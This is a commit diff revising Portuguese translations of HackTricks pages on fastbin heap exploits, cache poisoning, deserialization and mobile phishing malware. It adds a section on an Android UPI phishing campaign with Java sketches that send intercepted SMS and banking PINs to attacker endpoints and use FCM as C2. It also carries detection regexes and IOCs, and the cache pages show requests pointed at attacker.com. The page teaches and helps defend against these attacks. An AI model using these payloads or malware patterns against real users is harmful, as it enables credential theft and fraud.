Translated ['src/generic-methodologies-and-resources/phishing-methodolog

2025-10-10 18:36:50 +00:00 · 2025-08-22 00:12:11 +00:00 · 2025-08-22 00:12:11 +00:00 · 714cdccd44
commit 714cdccd44
parent 42e2b6df22
5 changed files with 243 additions and 64 deletions
--- a/src/binary-exploitation/libc-heap/fast-bin-attack.md
+++ b/src/binary-exploitation/libc-heap/fast-bin-attack.md
@ -129,15 +129,21 @@ printf("\n\nJust like that, we executed a fastbin attack to allocate an address
 Finalmente, um **one gadget** foi escrito lá.
 - **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:**
 - Há um overflow de heap e uso após liberação e dupla liberação porque, quando um chunk é liberado, é possível reutilizar e reliberar os ponteiros.
- **Libc info leak**: Basta liberar alguns chunks e eles receberão um ponteiro para uma parte da localização da arena principal. Como você pode reutilizar ponteiros liberados, basta ler este endereço.
- **Fast bin attack**: Todos os ponteiros para as alocações são armazenados dentro de um array, então podemos liberar alguns chunks de fast bin e, no último, sobrescrever o endereço para apontar um pouco antes deste array de ponteiros. Então, aloque alguns chunks com o mesmo tamanho e obteremos primeiro o legítimo e depois o falso contendo o array de ponteiros. Agora podemos sobrescrever esses ponteiros de alocação para fazer o endereço GOT de `free` apontar para `system` e então escrever `"/bin/sh"` no chunk 1 para então chamar `free(chunk1)` que, em vez disso, executará `system("/bin/sh")`.
+- **Libc info leak**: Basta liberar alguns chunks e eles receberão um ponteiro para uma parte da localização da main arena. Como você pode reutilizar ponteiros liberados, basta ler este endereço.
+- **Fast bin attack**: Todos os ponteiros para as alocações são armazenados dentro de um array, então podemos liberar alguns chunks de fast bin e, no último, sobrescrever o endereço para apontar um pouco antes deste array de ponteiros. Então, aloque alguns chunks com o mesmo tamanho e receberemos primeiro o legítimo e depois o falso contendo o array de ponteiros. Agora podemos sobrescrever esses ponteiros de alocação para fazer o endereço GOT de `free` apontar para `system` e então escrever `"/bin/sh"` no chunk 1 para então chamar `free(chunk1)` que, em vez disso, executará `system("/bin/sh")`.
 - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- Outro exemplo de abuso de um overflow de um byte para consolidar chunks no unsorted bin e obter um infoleak de libc e então realizar um ataque de fast bin para sobrescrever malloc hook com um endereço de one gadget.
+- Outro exemplo de abuso de um overflow de um byte para consolidar chunks no unsorted bin e obter um libc infoleak e então realizar um ataque de fast bin para sobrescrever malloc hook com um endereço de one gadget.
 - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)
- Após um infoleak abusando do unsorted bin com um UAF para vazar um endereço de libc e um endereço de PIE, o exploit deste CTF usou um ataque de fast bin para alocar um chunk em um lugar onde os ponteiros para chunks controlados estavam localizados, então foi possível sobrescrever certos ponteiros para escrever um one gadget no GOT.
- Você pode encontrar um ataque de Fast Bin abusado através de um ataque de unsorted bin:
+- Após um infoleak abusando do unsorted bin com um UAF para vazar um endereço libc e um endereço PIE, o exploit deste CTF usou um ataque de fast bin para alocar um chunk em um lugar onde os ponteiros para chunks controlados estavam localizados, então foi possível sobrescrever certos ponteiros para escrever um one gadget no GOT.
+- Você pode encontrar um ataque Fast Bin abusado através de um ataque unsorted bin:
 - Note que é comum antes de realizar ataques de fast bin abusar das free-lists para vazar endereços libc/heap (quando necessário).
 - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
 - Podemos apenas alocar chunks de tamanho maior que `0x100`.
- Sobrescrever `global_max_fast` usando um ataque de Unsorted Bin (funciona 1/16 vezes devido ao ASLR, porque precisamos modificar 12 bits, mas devemos modificar 16 bits).
- Ataque de Fast Bin para modificar um array global de chunks. Isso fornece uma primitiva de leitura/escrita arbitrária, que permite modificar o GOT e definir algumas funções para apontar para `system`.
+- Sobrescrever `global_max_fast` usando um ataque Unsorted Bin (funciona 1/16 vezes devido ao ASLR, porque precisamos modificar 12 bits, mas devemos modificar 16 bits).
+- Ataque Fast Bin para modificar um array global de chunks. Isso fornece uma primitiva de leitura/escrita arbitrária, que permite modificar o GOT e definir algumas funções para apontar para `system`.
+
+{{#ref}}
+unsorted-bin-attack.md
+{{#endref}}
+
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
+++ b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
@ -1,10 +1,10 @@
-# Phishing Móvel & Distribuição de Aplicativos Maliciosos (Android & iOS)
+# Phishing Móvel & Distribuição de Apps Maliciosos (Android & iOS)

 {{#include ../../banners/hacktricks-training.md}}

 > [!INFO]
 > Esta página cobre técnicas usadas por atores de ameaça para distribuir **APKs maliciosos do Android** e **perfis de configuração móvel do iOS** através de phishing (SEO, engenharia social, lojas falsas, aplicativos de namoro, etc.).
-> O material é adaptado da campanha SarangTrap exposta pela Zimperium zLabs (2025) e outras pesquisas públicas.
+> O material é adaptado da campanha SarangTrap exposta pelo Zimperium zLabs (2025) e outras pesquisas públicas.

 ## Fluxo de Ataque

@ -13,7 +13,7 @@
 – Usar palavras-chave e emojis em língua local no elemento `<title>` para ranquear no Google.
 – Hospedar *tanto* as instruções de instalação do Android (`.apk`) quanto do iOS na mesma página de destino.
 2. **Download da Primeira Etapa**
-* Android: link direto para um APK *não assinado* ou “loja de terceiros”.
+* Android: link direto para um APK *não assinado* ou de “loja de terceiros”.
 * iOS: `itms-services://` ou link HTTPS simples para um perfil **mobileconfig** malicioso (veja abaixo).
 3. **Engenharia Social Pós-instalação**
 * Na primeira execução, o aplicativo pede um **código de convite / verificação** (ilusão de acesso exclusivo).
@ -38,13 +38,13 @@
 - Conteúdo opcional de SMS (`content://sms`)
 Os payloads são **compactados em lote** e enviados via `HTTP POST /upload.php`.
 6. **Técnica de Entrega do iOS**
-* Um único **perfil de configuração móvel** pode solicitar `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` etc. para inscrever o dispositivo em supervisão semelhante ao “MDM”.
+* Um único **perfil de configuração móvel** pode solicitar `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` etc. para inscrever o dispositivo em supervisão semelhante a “MDM”.
 * Instruções de engenharia social:
 1. Abra Configurações ➜ *Perfil baixado*.
 2. Toque em *Instalar* três vezes (capturas de tela na página de phishing).
-3. Confie no perfil não assinado ➜ o atacante ganha direitos de *Contatos* & *Foto* sem revisão da App Store.
+3. Confie no perfil não assinado ➜ o atacante ganha direito a *Contatos* & *Foto* sem revisão da App Store.
 7. **Camada de Rede**
-* HTTP simples, muitas vezes na porta 80 com cabeçalho HOST como `api.<phishingdomain>.com`.
+* HTTP simples, frequentemente na porta 80 com cabeçalho HOST como `api.<phishingdomain>.com`.
 * `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (sem TLS → fácil de detectar).

 ## Testes Defensivos / Dicas de Red-Team
@ -56,7 +56,7 @@ Os payloads são **compactados em lote** e enviados via `HTTP POST /upload.php`.

 ## Ideias de Detecção para Blue-Team

-* **Transparência de Certificado / Análise de DNS** para capturar explosões repentinas de domínios ricos em palavras-chave.
+* **Transparência de Certificado / Análise de DNS** para capturar explosões súbitas de domínios ricos em palavras-chave.
 * **Regex de User-Agent & Caminho**: `(?i)POST\s+/(check|upload)\.php` de clientes Dalvik fora do Google Play.
 * **Telemetria de Código de Convite** – POST de códigos numéricos de 6–8 dígitos logo após a instalação do APK pode indicar preparação.
 * **Assinatura de MobileConfig** – Bloquear perfis de configuração não assinados via política MDM.
@ -86,9 +86,127 @@ return conn;
 /upload.php               # batched ZIP exfiltration
 LubanCompress 1.1.8       # "Luban" string inside classes.dex
 ```
+---
+
+## Android WebView Payment Phishing (UPI) – Dropper + Padrão FCM C2
+
+Esse padrão foi observado em campanhas que abusam de temas de benefícios governamentais para roubar credenciais e OTPs do UPI indiano. Operadores encadeiam plataformas respeitáveis para entrega e resiliência.
+
+### Cadeia de entrega através de plataformas confiáveis
+- Isca de vídeo no YouTube → descrição contém um link curto
+- Link curto → site de phishing do GitHub Pages imitando o portal legítimo
+- O mesmo repositório do GitHub hospeda um APK com um falso selo “Google Play” que liga diretamente ao arquivo
+- Páginas de phishing dinâmicas estão ativas no Replit; o canal de comando remoto usa Firebase Cloud Messaging (FCM)
+
+### Dropper com payload embutido e instalação offline
+- O primeiro APK é um instalador (dropper) que envia o malware real em `assets/app.apk` e solicita ao usuário que desative Wi‑Fi/dados móveis para reduzir a detecção na nuvem.
+- O payload embutido é instalado sob um rótulo inócuo (por exemplo, “Atualização Segura”). Após a instalação, tanto o instalador quanto o payload estão presentes como aplicativos separados.
+
+Dica de triagem estática (grep para payloads embutidos):
+```bash
+unzip -l sample.apk | grep -i "assets/app.apk"
+# Or:
+zipgrep -i "classes|.apk" sample.apk | head
+```
+### Descoberta dinâmica de endpoints via shortlink
+- O malware busca uma lista de endpoints ativos em texto simples, separados por vírgulas, de um shortlink; transformações simples de string produzem o caminho final da página de phishing.
+
+Exemplo (sanitizado):
+```
+GET https://rebrand.ly/dclinkto2
+Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
+Transform: "gate.html" → "gate.htm" (loaded in WebView)
+UPI credential POST: https://sqcepo.replit.app/addup.php
+SMS upload:           https://sqcepo.replit.app/addsm.php
+```
+Pseudo-código:
+```java
+String csv = httpGet(shortlink);
+String[] parts = csv.split(",");
+String upiPage = parts[0].replace("gate.html", "gate.htm");
+String smsPost = parts[1];
+String credsPost = upiPage.replace("gate.htm", "addup.php");
+```
+### Coleta de credenciais UPI baseada em WebView
+- A etapa “Fazer pagamento de ₹1 / UPI‑Lite” carrega um formulário HTML do atacante a partir do endpoint dinâmico dentro de um WebView e captura campos sensíveis (telefone, banco, PIN UPI) que são `POST`ados para `addup.php`.
+
+Loader mínimo:
+```java
+WebView wv = findViewById(R.id.web);
+wv.getSettings().setJavaScriptEnabled(true);
+wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
+```
+### Autopropagação e interceptação de SMS/OTP
+- Permissões agressivas são solicitadas na primeira execução:
+```xml
+<uses-permission android:name="android.permission.READ_CONTACTS"/>
+<uses-permission android:name="android.permission.SEND_SMS"/>
+<uses-permission android:name="android.permission.READ_SMS"/>
+<uses-permission android:name="android.permission.CALL_PHONE"/>
+```
+- Contatos são usados para enviar em massa SMS smishing do dispositivo da vítima.
+- SMS recebidos são interceptados por um receptor de transmissão e enviados com metadados (remetente, corpo, slot SIM, ID aleatório por dispositivo) para `/addsm.php`.
+
+Receiver sketch:
+```java
+public void onReceive(Context c, Intent i){
+SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
+for (SmsMessage m: msgs){
+postForm(urlAddSms, new FormBody.Builder()
+.add("senderNum", m.getOriginatingAddress())
+.add("Message", m.getMessageBody())
+.add("Slot", String.valueOf(getSimSlot(i)))
+.add("Device rand", getOrMakeDeviceRand(c))
+.build());
+}
+}
+```
+### Firebase Cloud Messaging (FCM) como C2 resiliente
+- O payload se registra no FCM; mensagens push carregam um campo `_type` usado como um interruptor para acionar ações (por exemplo, atualizar modelos de texto de phishing, alternar comportamentos).
+
+Exemplo de payload FCM:
+```json
+{
+"to": "<device_fcm_token>",
+"data": {
+"_type": "update_texts",
+"template": "New subsidy message..."
+}
+}
+```
+Esboço do manipulador:
+```java
+@Override
+public void onMessageReceived(RemoteMessage msg){
+String t = msg.getData().get("_type");
+switch (t){
+case "update_texts": applyTemplate(msg.getData().get("template")); break;
+case "smish": sendSmishToContacts(); break;
+// ... more remote actions
+}
+}
+```
+### Padrões de caça e IOCs
+- APK contém carga secundária em `assets/app.apk`
+- WebView carrega pagamento de `gate.htm` e exfiltra para `/addup.php`
+- Exfiltração de SMS para `/addsm.php`
+- Busca de configuração impulsionada por link curto (por exemplo, `rebrand.ly/*`) retornando endpoints CSV
+- Apps rotulados como genéricos “Atualizar/Atualização Segura”
+- Mensagens `data` do FCM com um discriminador `_type` em apps não confiáveis
+
+### Ideias de detecção e defesa
+- Marcar apps que instruem os usuários a desativar a rede durante a instalação e, em seguida, carregar um segundo APK de `assets/`.
+- Alertar sobre a tupla de permissões: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + fluxos de pagamento baseados em WebView.
+- Monitoramento de saída para `POST /addup.php|/addsm.php` em hosts não corporativos; bloquear infraestrutura conhecida.
+- Regras de EDR móvel: app não confiável registrando-se para FCM e ramificando em um campo `_type`.
+
+---
+
 ## Referências

 - [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
 - [Luban – Android image compression library](https://github.com/Curzibn/Luban)
+- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
+- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)

 {{#include ../../banners/hacktricks-training.md}}
--- a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md
+++ b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md
--- a/src/pentesting-web/cache-deception/README.md
+++ b/src/pentesting-web/cache-deception/README.md
@ -25,7 +25,7 @@ Geralmente, quando uma resposta foi **armazenada em cache**, haverá um **cabeç

 ### Descoberta: Códigos de erro de cache

-Se você está pensando que a resposta está sendo armazenada em um cache, você poderia tentar **enviar solicitações com um cabeçalho ruim**, que deve ser respondido com um **código de status 400**. Em seguida, tente acessar a solicitação normalmente e se a **resposta for um código de status 400**, você sabe que é vulnerável (e você poderia até realizar um DoS).
+Se você está pensando que a resposta está sendo armazenada em um cache, você poderia tentar **enviar solicitações com um cabeçalho ruim**, que deve ser respondido com um **código de status 400**. Então, tente acessar a solicitação normalmente e se a **resposta for um código de status 400**, você sabe que é vulnerável (e você poderia até realizar um DoS).

 Você pode encontrar mais opções em:

@ -56,7 +56,7 @@ Outro cabeçalho interessante é **`Vary`**. Este cabeçalho é frequentemente u

 Mais um cabeçalho relacionado ao cache é **`Age`**. Ele define o tempo em segundos que o objeto esteve no cache do proxy.

-Ao armazenar uma solicitação em cache, tenha **cuidado com os cabeçalhos que você usa**, pois alguns deles podem ser **usados inesperadamente** como **indexados** e a **vítima precisará usar esse mesmo cabeçalho**. Sempre **teste** um Cache Poisoning com **diferentes navegadores** para verificar se está funcionando.
+Ao armazenar uma solicitação em cache, tenha **cuidado com os cabeçalhos que você usa**, pois alguns deles podem ser **usados inesperadamente** como **indexados** e a **vítima precisará usar esse mesmo cabeçalho**. Sempre **teste** um Cache Poisoning com **navegadores diferentes** para verificar se está funcionando.

 ## Exemplos de Exploração

@ -115,7 +115,7 @@ cache-poisoning-via-url-discrepancies.md

 ### Usando múltiplos cabeçalhos para explorar vulnerabilidades de envenenamento de cache web <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>

-Às vezes, você precisará **explorar várias entradas não chaveadas** para poder abusar de um cache. Por exemplo, você pode encontrar um **Redirecionamento aberto** se definir `X-Forwarded-Host` para um domínio controlado por você e `X-Forwarded-Scheme` para `http`. **Se** o **servidor** estiver **encaminhando** todas as **requisições HTTP** **para HTTPS** e usando o cabeçalho `X-Forwarded-Scheme` como o nome do domínio para o redirecionamento. Você pode controlar para onde a página é apontada pelo redirecionamento.
+Às vezes, você precisará **explorar várias entradas não chaveadas** para poder abusar de um cache. Por exemplo, você pode encontrar um **redirecionamento aberto** se definir `X-Forwarded-Host` para um domínio controlado por você e `X-Forwarded-Scheme` para `http`. **Se** o **servidor** estiver **encaminhando** todas as **requisições HTTP** **para HTTPS** e usando o cabeçalho `X-Forwarded-Scheme` como o nome do domínio para o redirecionamento. Você pode controlar para onde a página é apontada pelo redirecionamento.
 ```html
 GET /resources/js/tracking.js HTTP/1.1
 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@ -133,7 +133,7 @@ X-Host: attacker.com
 ```
 ### Fat Get

-Envie uma solicitação GET com a solicitação na URL e no corpo. Se o servidor web usar o do corpo, mas o servidor de cache armazenar o da URL, qualquer pessoa que acessar essa URL usará na verdade o parâmetro do corpo. Como a vulnerabilidade que James Kettle encontrou no site do Github:
+Envie uma solicitação GET com a solicitação na URL e no corpo. Se o servidor web usar a do corpo, mas o servidor de cache armazenar a da URL, qualquer pessoa que acessar essa URL usará na verdade o parâmetro do corpo. Como a vulnerabilidade que James Kettle encontrou no site do Github:
 ```
 GET /contact/report-abuse?report=albinowax HTTP/1.1
 Host: github.com
@ -168,7 +168,7 @@ Este padrão do mundo real encadeia um primitivo de reflexão baseado em cabeça
 - O CDN removeu cabeçalhos de cache, mas um cache interno/origem existia. O CDN também auto-cacheou solicitações que terminavam em extensões estáticas (por exemplo, `.js`), enquanto o WAF aplicou uma inspeção de conteúdo mais fraca para GETs de ativos estáticos.
 - Quirks do fluxo de solicitação permitiram que uma solicitação a um caminho `.js` influenciasse a chave/variante de cache usada para o HTML principal subsequente, permitindo XSS entre usuários via reflexão de cabeçalho.

-Receita prática (observada em um CDN/WAF popular):
+Receita prática (observada em um popular CDN/WAF):

 1) De um IP limpo (evite rebaixamentos baseados em reputação anteriores), defina um `User-Agent` malicioso via navegador ou Burp Proxy Match & Replace.
 2) No Burp Repeater, prepare um grupo de duas solicitações e use "Enviar grupo em paralelo" (o modo de pacote único funciona melhor):
@ -188,7 +188,7 @@ Dicas operacionais:

 Impacto:

- Se os cookies de sessão não forem `HttpOnly`, um ATO de zero cliques é possível ao exfiltrar em massa `document.cookie` de todos os usuários que recebem o HTML contaminado.
+- Se os cookies de sessão não forem `HttpOnly`, um ATO de clique zero é possível ao exfiltrar em massa `document.cookie` de todos os usuários que recebem o HTML contaminado.

 Defesas:

@ -204,7 +204,7 @@ O ATS encaminhou o fragmento dentro da URL sem removê-lo e gerou a chave de cac

 ### GitHub CP-DoS

-Enviar um valor inválido no cabeçalho content-type acionou uma resposta 405 em cache. A chave de cache continha o cookie, portanto, era possível atacar apenas usuários não autenticados.
+Enviar um valor inválido no cabeçalho content-type acionou uma resposta 405 em cache. A chave de cache continha o cookie, então era possível atacar apenas usuários não autenticados.

 ### GitLab + GCP CP-DoS

@ -220,7 +220,7 @@ O Cloudflare anteriormente armazenava em cache respostas 403. Tentar acessar S3

 ### Injetando Parâmetros Chaveados

-Os caches frequentemente incluem parâmetros GET específicos na chave de cache. Por exemplo, o Varnish do Fastly armazenava em cache o parâmetro `size` nas solicitações. No entanto, se uma versão codificada em URL do parâmetro (por exemplo, `siz%65`) também fosse enviada com um valor incorreto, a chave de cache seria construída usando o parâmetro `size` correto. No entanto, o backend processaria o valor no parâmetro codificado em URL. A codificação em URL do segundo parâmetro `size` levou à sua omissão pelo cache, mas sua utilização pelo backend. Atribuir um valor de 0 a esse parâmetro resultou em um erro 400 Bad Request que poderia ser armazenado em cache.
+Os caches frequentemente incluem parâmetros GET específicos na chave de cache. Por exemplo, o Varnish do Fastly armazenava em cache o parâmetro `size` nas solicitações. No entanto, se uma versão codificada em URL do parâmetro (por exemplo, `siz%65`) também fosse enviada com um valor incorreto, a chave de cache seria construída usando o parâmetro `size` correto. No entanto, o backend processaria o valor no parâmetro codificado em URL. A codificação em URL do segundo parâmetro `size` levou à sua omissão pelo cache, mas sua utilização pelo backend. Atribuir um valor de 0 a esse parâmetro resultou em um erro 400 Bad Request que pode ser armazenado em cache.

 ### Regras de User Agent

@ -228,7 +228,7 @@ Alguns desenvolvedores bloqueiam solicitações com user-agents que correspondem

 ### Campos de Cabeçalho Ilegais

-O [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica os caracteres aceitáveis nos nomes dos cabeçalhos. Cabeçalhos contendo caracteres fora do intervalo **tchar** especificado devem idealmente acionar uma resposta 400 Bad Request. Na prática, os servidores nem sempre aderem a esse padrão. Um exemplo notável é o Akamai, que encaminha cabeçalhos com caracteres inválidos e armazena em cache qualquer erro 400, desde que o cabeçalho `cache-control` não esteja presente. Um padrão explorável foi identificado onde o envio de um cabeçalho com um caractere ilegal, como `\`, resultaria em um erro 400 Bad Request que poderia ser armazenado em cache.
+O [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica os caracteres aceitáveis nos nomes dos cabeçalhos. Cabeçalhos contendo caracteres fora do intervalo **tchar** especificado devem idealmente acionar uma resposta 400 Bad Request. Na prática, os servidores nem sempre aderem a esse padrão. Um exemplo notável é o Akamai, que encaminha cabeçalhos com caracteres inválidos e armazena em cache qualquer erro 400, desde que o cabeçalho `cache-control` não esteja presente. Um padrão explorável foi identificado onde o envio de um cabeçalho com um caractere ilegal, como `\`, resultaria em um erro 400 Bad Request que pode ser armazenado em cache.

 ### Encontrando novos cabeçalhos

@ -253,7 +253,7 @@ Outro exemplo muito claro pode ser encontrado neste relatório: [https://hackero
 No exemplo, é explicado que se você carregar uma página inexistente como _http://www.example.com/home.php/non-existent.css_, o conteúdo de _http://www.example.com/home.php_ (**com as informações sensíveis do usuário**) será retornado e o servidor de cache salvará o resultado.\
 Então, o **atacante** pode acessar _http://www.example.com/home.php/non-existent.css_ em seu próprio navegador e observar as **informações confidenciais** dos usuários que acessaram antes.

-Note que o **proxy de cache** deve ser **configurado** para **armazenar em cache** arquivos **com base** na **extensão** do arquivo (_.css_) e não com base no content-type. No exemplo _http://www.example.com/home.php/non-existent.css_ terá um content-type `text/html` em vez de um tipo MIME `text/css` (que é o esperado para um arquivo _.css_).
+Note que o **proxy de cache** deve ser **configurado** para **armazenar em cache** arquivos **baseados** na **extensão** do arquivo (_.css_) e não com base no content-type. No exemplo _http://www.example.com/home.php/non-existent.css_ terá um content-type `text/html` em vez de um tipo MIME `text/css` (que é o esperado para um arquivo _.css_).

 Aprenda aqui como realizar [ataques de Decepção de Cache abusando de HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).

@ -269,7 +269,7 @@ Aprenda aqui como realizar [ataques de Decepção de Cache abusando de HTTP Requ
 - [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
 - [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
 - [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
- [Como encontrei uma tomada de conta de 0 cliques em um BBP público e a aproveitei para acessar funcionalidades de nível administrativo](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
+- [Como encontrei uma tomada de conta de 0 cliques em um BBP público e a utilizei para acessar funcionalidades de nível administrativo](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
 - [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)


--- a/src/pentesting-web/deserialization/README.md
+++ b/src/pentesting-web/deserialization/README.md
@ -8,7 +8,7 @@

 **Desserialização**, por outro lado, é o processo que contrabalança a serialização. Envolve pegar dados que foram estruturados em um formato específico e reconstruí-los de volta em um objeto.

-A desserialização pode ser perigosa porque potencialmente **permite que atacantes manipulem os dados serializados para executar código prejudicial** ou causar comportamentos inesperados na aplicação durante o processo de reconstrução do objeto.
+A desserialização pode ser perigosa porque potencialmente **permite que atacantes manipulem os dados serializados para executar código prejudicial** ou causem comportamentos inesperados na aplicação durante o processo de reconstrução do objeto.

 ## PHP

@ -90,13 +90,12 @@ Se você olhar para os resultados, pode ver que as funções **`__wakeup`** e **
 > }
 > ```

-Você pode ler um **exemplo explicado de PHP aqui**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), aqui [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) ou aqui [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
+Você pode ler um **exemplo PHP explicado aqui**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), aqui [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) ou aqui [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)

 ### PHP Deserial + Autoload Classes

 Você pode abusar da funcionalidade de autoload do PHP para carregar arquivos php arbitrários e mais:

-
 {{#ref}}
 php-deserialization-+-autoload-classes.md
 {{#endref}}
@ -140,7 +139,7 @@ Se **`allowed_classes` for omitido _ou_ o código for executado em PHP < 7.0**,

 #### Exemplo do mundo real: Everest Forms (WordPress) CVE-2025-52709

-O plugin WordPress **Everest Forms ≤ 3.2.2** tentou ser defensivo com um wrapper auxiliar, mas esqueceu das versões legadas do PHP:
+O plugin do WordPress **Everest Forms ≤ 3.2.2** tentou ser defensivo com um wrapper auxiliar, mas esqueceu das versões legadas do PHP:
 ```php
 function evf_maybe_unserialize($data, $options = array()) {
 if (is_serialized($data)) {
@ -179,7 +178,6 @@ Então, se puder, verifique o `phpinfo()` do servidor e **pesquise na internet**
 Se você encontrou um LFI que está apenas lendo o arquivo e não executando o código php dentro dele, por exemplo, usando funções como _**file_get_contents(), fopen(), file() ou file_exists(), md5_file(), filemtime() ou filesize()**_**.** Você pode tentar abusar de uma **deserialização** ocorrendo ao **ler** um **arquivo** usando o protocolo **phar**.\
 Para mais informações, leia o seguinte post:

-
 {{#ref}}
 ../file-inclusion/phar-deserialization.md
 {{#endref}}
@ -199,7 +197,7 @@ print(base64.b64encode(pickle.dumps(P())))
 ```
 Antes de verificar a técnica de bypass, tente usar `print(base64.b64encode(pickle.dumps(P(),2)))` para gerar um objeto que seja compatível com python2 se você estiver executando python3.

-Para mais informações sobre como escapar de **pickle jails**, consulte:
+Para mais informações sobre escapar de **pickle jails**, consulte:

 {{#ref}}
 ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
@ -213,7 +211,7 @@ A página a seguir apresenta a técnica para **abusar de uma desserialização i
 python-yaml-deserialization.md
 {{#endref}}

-### Poluição de Classe (Poluição de Protótipo Python)
+### Class Pollution (Poluição de Protótipos em Python)

 {{#ref}}
 ../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md
@ -224,7 +222,7 @@ python-yaml-deserialization.md
 ### Funções Mágicas JS

 JS **não tem funções "mágicas"** como PHP ou Python que serão executadas apenas para criar um objeto. Mas possui algumas **funções** que são **frequentemente usadas mesmo sem serem chamadas diretamente**, como **`toString`**, **`valueOf`**, **`toJSON`**.\
-Se abusar de uma desserialização, você pode **comprometer essas funções para executar outro código** (potencialmente abusando de poluições de protótipo) e poderia executar código arbitrário quando elas forem chamadas.
+Se abusar de uma desserialização, você pode **comprometer essas funções para executar outro código** (potencialmente abusando de poluições de protótipos) e poderia executar código arbitrário quando elas forem chamadas.

 Outra **maneira "mágica" de chamar uma função** sem chamá-la diretamente é **comprometendo um objeto que é retornado por uma função assíncrona** (promise). Porque, se você **transformar** esse **objeto de retorno** em outra **promise** com uma **propriedade** chamada **"then" do tipo função**, ela será **executada** apenas porque é retornada por outra promise. _Siga_ [_**este link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _para mais informações._
 ```javascript
@ -289,7 +287,7 @@ Dentro do arquivo `node-serialize/lib/serialize.js`, você pode encontrar a mesm
 Como você pode ver no último bloco de código, **se a flag for encontrada**, `eval` é usado para desserializar a função, então, basicamente, **a entrada do usuário está sendo usada dentro da função `eval`**.

 No entanto, **apenas serializar** uma função **não a executará**, pois seria necessário que alguma parte do código **chamasse `y.rce`** em nosso exemplo, e isso é altamente **improvável**.\
-De qualquer forma, você poderia **modificar o objeto serializado** **adicionando alguns parênteses** para que a função serializada seja executada automaticamente quando o objeto for desserializado.\
+De qualquer forma, você poderia **modificar o objeto serializado**, **adicionando alguns parênteses** para que a função serializada seja executada automaticamente quando o objeto for desserializado.\
 No próximo bloco de código, **note o último parêntese** e como a função `unserialize` executará automaticamente o código:
 ```javascript
 var serialize = require("node-serialize")
@ -390,7 +388,7 @@ Preste atenção especial a:

 #### Caixa Preta

-Para testes de caixa preta, procure por **assinaturas específicas ou "Magic Bytes"** que denotam objetos serializados em java (originários de `ObjectInputStream`):
+Para testes de caixa preta, procure por **assinaturas específicas ou "Magic Bytes"** que denotam objetos serializados em java (originando de `ObjectInputStream`):

 - Padrão hexadecimal: `AC ED 00 05`.
 - Padrão Base64: `rO0`.
@ -403,11 +401,11 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA
 ```
 ### Verifique se é vulnerável

